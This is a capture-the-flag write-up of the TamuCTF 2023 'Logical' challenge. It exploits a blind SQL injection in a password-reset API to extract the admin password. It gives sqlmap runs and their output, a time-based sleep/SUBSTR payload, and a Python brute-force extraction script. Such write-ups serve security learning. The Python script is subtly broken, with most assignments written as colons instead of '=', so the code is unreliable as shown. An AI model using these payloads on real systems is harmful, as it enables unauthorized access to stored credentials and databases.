TamuCTF 2023 - Logical
Table of Contents
Challenge Overview
In this challenge, we were given access to the following link: http://logical.tamuctf.com/
This is an application that allows resetting a password if we have forgotten it and if our user is present in their database. In the challenge instructions, we are told about the admin user.
Exploitation
Initial Reconnaissance
This challenge seems really classic, so I try to capture the request with Burp Suite so we can use it with SQLmap.
Captured Request
Here is the request content:
POST /api/chpass HTTP/1.1
Host: logical.tamuctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://logical.tamuctf.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://logical.tamuctf.com
Connection: close
username: admin
SQLmap Detection
And here is the result of our SQLmap command:
$ sqlmap -r logical.req
___
__H__
___ ___[)]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:05:44 /2023-04-29/
[17:05:44] [INFO] parsing HTTP request from 'logical.req'
[17:05:44] [INFO] resuming back-end DBMS 'mysql'
[17:05:44] [INFO] testing connection to the target URL
[17:05:45] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 6669=6669-- SOMN
---
[17:05:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 5
[17:05:45] [INFO] fetched data logged to text files under '/home/balgogan/.local/share/sqlmap/output/logical.tamuctf.com'
[*] ending @ 17:05:45 /2023-04-29/
The application is vulnerable to a blind SQL injection via boolean-based queries.
SQLmap Database Enumeration
Of course, trying to be as fast as possible, I decide to use SQLmap again to retrieve the database content:
$ sqlmap -r logical.req --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:07:14 /2023-04-29/
[17:07:14] [INFO] parsing HTTP request from 'logical.req'
[17:07:14] [INFO] resuming back-end DBMS 'mysql'
[17:07:14] [INFO] testing connection to the target URL
[17:07:15] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 6669=6669-- SOMN
---
[17:07:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 5
[17:07:15] [INFO] fetching database names
[17:07:15] [INFO] fetching number of databases
[17:07:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:07:15] [INFO] retrieved:
[17:07:15] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[17:07:15] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[17:07:16] [CRITICAL] connection reset to the target URL
[*] ending @ 17:07:16 /2023-04-29/
However, this doesn’t go as planned, since the server refuses to allow the attack, we get 500 errors.
Manual Exploitation
Then I get the idea to first exploit manually with Burp to see which payload could work.
Working Payload
Here is the payload that worked:
POST /api/chpass HTTP/1.1
Host: logical.tamuctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://logical.tamuctf.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://logical.tamuctf.com
Connection: close
username: username=admin' AND 9953=9953 AND (select sleep(5) from users where SUBSTR(password,1,1) = 'g')-- acpR
Figure 0x1 – PoC
How the Payload Works
(select sleep(5) from users where SUBSTR(password,1,1) = 'g'): This part of the payload performs a test operation on the first character of user passwords. If the first character of a user’s password is ‘g’, the sleep(5) function is executed, which makes the server wait for 5 seconds. This is used to determine if the condition is true or false, by measuring the request response time.
In this case, I chose g because the CTF flag format is gigem. So this is what allowed me to confirm the vulnerability and set up the dump.
Exploitation Strategy
Here is a diagram that explains what I will do to extract the entire password:
Step 1: Vulnerability Identification
+-------------------+
| Web Application |
| (vulnerable to |
| SQL injection) |
+-------------------+
Step 2: Payload Sending
+-------------+ For each position (i) and character (c) to test
| Attacker |------------------------------+
| (sends the | |
| payload) | |
+-------------+ v
+-----------------+
| SQL Query |
| (containing the |
| payload) |
| |
| SELECT * FROM |
| users WHERE |
| username = |
| 'admin' AND |
| 9953=9953 AND |
| (SELECT |
| sleep(5) FROM |
| users WHERE |
| SUBSTR( |
| password, 1, i)|
| = c) -- acpR |
+-----------------+
^
Step 3: Query Execution |
+-------------+ |
| Database |<-----------------------------+
| (executes | (response time)
| the query) |
+-------------+
Step 4: Response Time Measurement
+-------------+
| Attacker |
| (evaluates |
| response |
| time) |
+-------------+
Step 5: Password Reconstruction
+-------------+
| Attacker |
| (reconstructs|
| password) |
+-------------+
Python Exploit Script
Here is the Python code that allows extracting the password:
import requests
def main():
headers: {
'Host': 'logical.tamuctf.com',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0',
'Accept': '*/*',
'Accept-Language': 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'http://logical.tamuctf.com/',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://logical.tamuctf.com',
'Connection': 'close',
}
sleep_time: 5
timeout: sleep_time + 1
lower: "abcdefghijklmnopqrstuvwxyz"
number: "0123456789"
special: "{}_-"
wordlist: lower + special + number
flag: False
position: 1
payload: ""
while not flag:
found_character: False
for c in wordlist:
print(f"Character: {c}, Prefix: {payload}", end="\r")
data: f"username=admin' AND 9953=9953 AND (select sleep({sleep_time}) from users where SUBSTR(password,1,{position}) = '{payload+c}')-- acpR".encode()
try:
response: requests.post(
'http://logical.tamuctf.com/api/chpass',
headers: headers,
data: data,
verify: False,
timeout: timeout
)
except requests.exceptions.Timeout:
payload += c
position += 1
found_character: True
break
if not found_character:
flag: True
print(f"\nFound flag: {payload}")
if __name__ == "__main__":
main()
Result
By executing the program, in a few minutes we get the following output:
$ python3.10 sqli.py
Character: 9, Prefix: gigem{bl1nd-1nj3ct10n}
Found flag: gigem{bl1nd-1nj3ct10n}
Flag
The flag is: gigem{bl1nd-1nj3ct10n}